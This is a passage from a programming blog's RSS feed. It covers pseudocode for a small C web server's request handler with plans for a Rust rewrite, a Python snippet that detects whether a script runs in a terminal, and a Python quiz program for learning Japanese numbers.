tabindex=&#34;0&#34;&gt;&lt;code&gt;accept_request takes a socket connecting to the client&#xA;     read a line from the client&#xA;     log (to stdout) the received request&#xA;     &#xA;     copy what is assumed to be the method into another buffer&#xA;     if the method isn&amp;#39;t GET or POST:&#xA;          handle an unimplemented method somehow&#xA;     if the method is POST:&#xA;          make a note that this request will require executing a CGI script&#xA;&#xA;     copy what is assumed to be the URL into another buffer&#xA;     if the method is GET and the url has a ? in it:&#xA;          make a note that this request will require executing a CGI script&#xA;     construct the path to the requested resource by prepending &amp;#34;htdocs&amp;#34; to the url&#xA;          (note - I&amp;#39;d like to make this customizable in the rewrite)&#xA;&#xA;     if the URL is /:&#xA;          add &amp;#39;index.html&amp;#39; to the path&#xA;&#xA;     if the resource being requested doesn&amp;#39;t exist:&#xA;          handle a not found error somehow&#xA;     if the resource is a directory:&#xA;          append &amp;#34;/index.html&amp;#34; to the file path&#xA;          (note- the existence of THIS file isn&amp;#39;t checked!)&#xA;     if the file is executable:&#xA;          make a note that this request will require executing a CGI script&#xA;     &#xA;     if this request requires executing a CGI script:&#xA;          handle executing a CGI script&#xA;     otherwise:&#xA;          handle serving a static file&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This analysis is pretty revealing: essentially all this function does is determine some properties of a request and then pass it off to be handled appropriately by other functions.&lt;/p&gt;&#xA;&lt;p&gt;This particular function should be fairly easy to translate into more efficient Rust code, especially if we look at using Rust&amp;rsquo;s more advanced type system. In particular, rather than having a large number of buffers, I&amp;rsquo;d like to use slices and ADTs. For example, I might create an enum &lt;code&gt;HTTPMethod&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;enum&lt;/span&gt; HTTPMethod&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;     &lt;/span&gt;Get,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;     &lt;/span&gt;Post,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;     &lt;/span&gt;Other&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then I could use a &lt;code&gt;match&lt;/code&gt; expression to appropriately dispatch the request, whether to the static server, CGI handler, or error response.&lt;/p&gt;&#xA;&lt;p&gt;In the next post, I&amp;rsquo;ll take a look at the handler functions and how they handle the various conditions and actions a request can trigger - unimplemented method, resource not found, static file serving, and CGI execution. I&amp;rsquo;ll also discuss the Rust idioms that can be used to better model the intended behavior and internal structure of this server.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Am I in a Terminal?</title>
      <link>https://nora.codes/tutorial/am-i-in-a-terminal/</link>
      <pubDate>Tue, 13 Sep 2016 01:55:38 +0000</pubDate>
      <guid>https://nora.codes/tutorial/am-i-in-a-terminal/</guid>
      <description>&lt;p&gt;Sometimes, it can be useful to know if your program is running in a terminal. Since Python 3.3, this functionality has been available in the &lt;code&gt;os&lt;/code&gt; module:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Test if this Python script is running in a terminal or not.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size = os.get_terminal_size()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;I am in a terminal of size &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        .format(size[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;], size[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; OSError:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;I am not in a terminal.&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here is an example of it in operation:&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Sometimes, it can be useful to know if your program is running in a terminal. Since Python 3.3, this functionality has been available in the &lt;code&gt;os&lt;/code&gt; module:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Test if this Python script is running in a terminal or not.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size = os.get_terminal_size()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;I am in a terminal of size &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        .format(size[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;], size[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; OSError:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;I am not in a terminal.&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here is an example of it in operation:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ./am_i_term.py &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;I am in a terminal of size 80x24&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ./am_i_term.py | tee&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;I am not in a terminal.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is useful for many reasons. For example, scripts which have interactive &amp;ldquo;beautifications&amp;rdquo; like progress bars, no-freeze spinners, and animations should cease these antics when piped into the input of other programs or redirected to files. Additionally, programs being run from scripts can disable all performance-impacting interactivity, including interactive &lt;code&gt;KeyboardInterrupt&lt;/code&gt; handling; if a user &lt;code&gt;Ctrl+C&lt;/code&gt;s a script, they want it to stop, immediately, not ask to quit.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Learning Japanese the Python Way</title>
      <link>https://nora.codes/post/learning-japanese-the-python-way/</link>
      <pubDate>Mon, 29 Aug 2016 22:06:19 +0000</pubDate>
      <guid>https://nora.codes/post/learning-japanese-the-python-way/</guid>
      <description>&lt;p&gt;Now that I&amp;rsquo;m in college, I&amp;rsquo;m taking a lot of non-computer science classes, and one of them is Japanese. I&amp;rsquo;m just starting out, and I need to be able to rapidly read numbers in Japanese and think about them without translating them consciously. I could make a bunch of flash cards, or use a service like Quizlet&amp;hellip; or I could write some Python!&lt;/p&gt;&#xA;&lt;p&gt;For those of you who are unfamiliar, Japanese doesn&amp;rsquo;t have the ridiculous numerical system that English does. One through ten are defined, and eleven is simply (ten)(one). Twenty three, for example, is (two)(ten)(three) (に じゅう さん). This means that rather than having a long list of numbers and special cases, I can just have the numbers zero to ten &amp;ldquo;hard coded&amp;rdquo;.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Now that I&amp;rsquo;m in college, I&amp;rsquo;m taking a lot of non-computer science classes, and one of them is Japanese. I&amp;rsquo;m just starting out, and I need to be able to rapidly read numbers in Japanese and think about them without translating them consciously. I could make a bunch of flash cards, or use a service like Quizlet&amp;hellip; or I could write some Python!&lt;/p&gt;&#xA;&lt;p&gt;For those of you who are unfamiliar, Japanese doesn&amp;rsquo;t have the ridiculous numerical system that English does. One through ten are defined, and eleven is simply (ten)(one). Twenty three, for example, is (two)(ten)(three) (に じゅう さん). This means that rather than having a long list of numbers and special cases, I can just have the numbers zero to ten &amp;ldquo;hard coded&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;After that, the program is pretty simple: if the number is less than 11, simply look it up. If it&amp;rsquo;s more than 11 but less than 20, build it with じゅう plus the second digit. If it&amp;rsquo;s larger than 20, build it with the first digit plus じゅう plus the second digit.&lt;/p&gt;&#xA;&lt;p&gt;The interactive part is pretty simple too: it runs a loop that randomly generates numbers, checking that they haven&amp;rsquo;t been done before, translates them, and asks me to translate them back. If I succeed, it moves on; if not, it doesn&amp;rsquo;t record the number as having been completed, so I have to do it again at some point in the same run.&lt;/p&gt;&#xA;&lt;p&gt;This &lt;a href=&#34;https://gist.github.com/NoraCodes/ecb9dcbe44091b9f077d0cb4e0147b0a&#34;&gt;simple program&lt;/a&gt; came out to 136 lines of very verbose and error-checked Python. It&amp;rsquo;s a good piece of code for a beginner to try and modify - for example, can you get it to incorporate the alternate form of four (し) as well as the primary form? Can you make one that teaches Kanji numbers? (I plan to do both of those things at some point.)&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;#!/usr/bin/env python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;This is a program to help you study the Japanese numbers.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;It currently goes from 0 to 99; I will extend it at a later date.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;It can be executed as follows:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;    ./numerica.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;which will do all the available numbers, or&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;    ./numberica.py 10&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;which will go only up to 10.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;numbers = [&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;ZERO&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;いち&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;に&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;さん&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;よん&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;ご&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;ろく&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;なな&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;はち&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;きゅう&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           &lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;じゅう&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;           ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;class&lt;/span&gt; OutOfRangeException(Exception):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; small_to_japanese(n):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Convert a number (0-10) to Japanese.&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; n &amp;gt; &lt;span style=&#34;color:#00f&#34;&gt;10&lt;/span&gt; &lt;span style=&#34;font-weight:bold&#34;&gt;or&lt;/span&gt; n &amp;lt; &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;raise&lt;/span&gt; OutOfRangeException&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; numbers[n]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; medium_to_japanese(n):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Convert a number from 11 - 100 to Japanese&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; n &amp;gt; &lt;span style=&#34;color:#00f&#34;&gt;100&lt;/span&gt; &lt;span style=&#34;font-weight:bold&#34;&gt;or&lt;/span&gt; n &amp;lt; &lt;span style=&#34;color:#00f&#34;&gt;11&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;raise&lt;/span&gt; OutOfRangeException&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    digits = list(map(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        int, str(n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    out = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;# Omit いち in numbers &amp;gt; 10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; digits[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] &amp;gt; &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        out += numbers[digits[&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;]] + &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    out += numbers[&lt;span style=&#34;color:#00f&#34;&gt;10&lt;/span&gt;] + &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    out += numbers[digits[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;def&lt;/span&gt; number_to_japanese(n):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; small_to_japanese(n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; OutOfRangeException:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; medium_to_japanese(n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;except&lt;/span&gt; OutOfRangeException:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;No way to represent numbers of that magnitude!&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span 